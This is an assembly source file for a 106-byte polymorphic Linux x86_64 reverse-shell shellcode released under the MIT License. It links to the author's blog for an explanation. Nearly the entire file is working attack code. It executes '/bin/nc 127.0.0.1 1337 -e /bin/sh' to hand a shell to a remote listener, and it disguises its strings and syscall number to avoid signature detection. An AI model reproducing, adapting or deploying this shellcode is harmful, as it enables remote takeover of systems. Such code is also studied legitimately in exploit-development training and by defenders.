106 bytes small Linux x86_64 polymorphic netcat reverse shell shellcode.
48409c0e781dd94983e54244be9d7b6c;The MIT License (MIT)
;Copyright (c) 2017 Robert L. Taylor
;Permission is hereby granted, free of charge, to any person obtaining a
;copy of this software and associated documentation files (the aSoftwarea),
;to deal in the Software without restriction, including without limitation
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
;and/or sell copies of the Software, and to permit persons to whom the
;Software is furnished to do so, subject to the following conditions:
;The above copyright notice and this permission notice shall be included
;in all copies or substantial portions of the Software.
;The Software is provided aas isa, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability,
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other
;liability, whether in an action of contract, tort or otherwise, arising
;from, out of or in connection with the software or the use or other
;dealings in the Software.
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/03/polynetcatrevshell1434.html
global _start
section .text
_start:
jmp next
sh:
db 0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f
nc:
db 0x63,0x6e,0x2f,0x2f,0x6e,0x69,0x62,0x2f
ip:
db 0x2e,0x30,0x2e,0x30,0x2e,0x37,0x32,0x31
handle:
pop rcx
lodsq
bswap rax
push rax
push rsp
push rcx
ret
next:
xor edx,edx
lea rsi,[rel sh]
push rdx
call handle
pop rbx
push rdx
call handle
pop rdi
push '1'
call handle
pop r12
push '1337'
push rsp
pop rcx
push rdx
push word '-e'
push rsp
pop rax
push rdx ; push null
push rbx ; '/bin//sh'
push rax ; '-e'
push rcx ; '1337'
push r12 ; '127.0.0.1'
push rdi ; '/bin//nc'
push rsp
pop rsi ; address of array of pointers to strings
; some magic to put 3b (59) into RAX
; note that this depends on the push "-e"
; and it's position on the stack
mov rax,[rsp + 48]
shr rax,8
sub rax,0x2a
syscall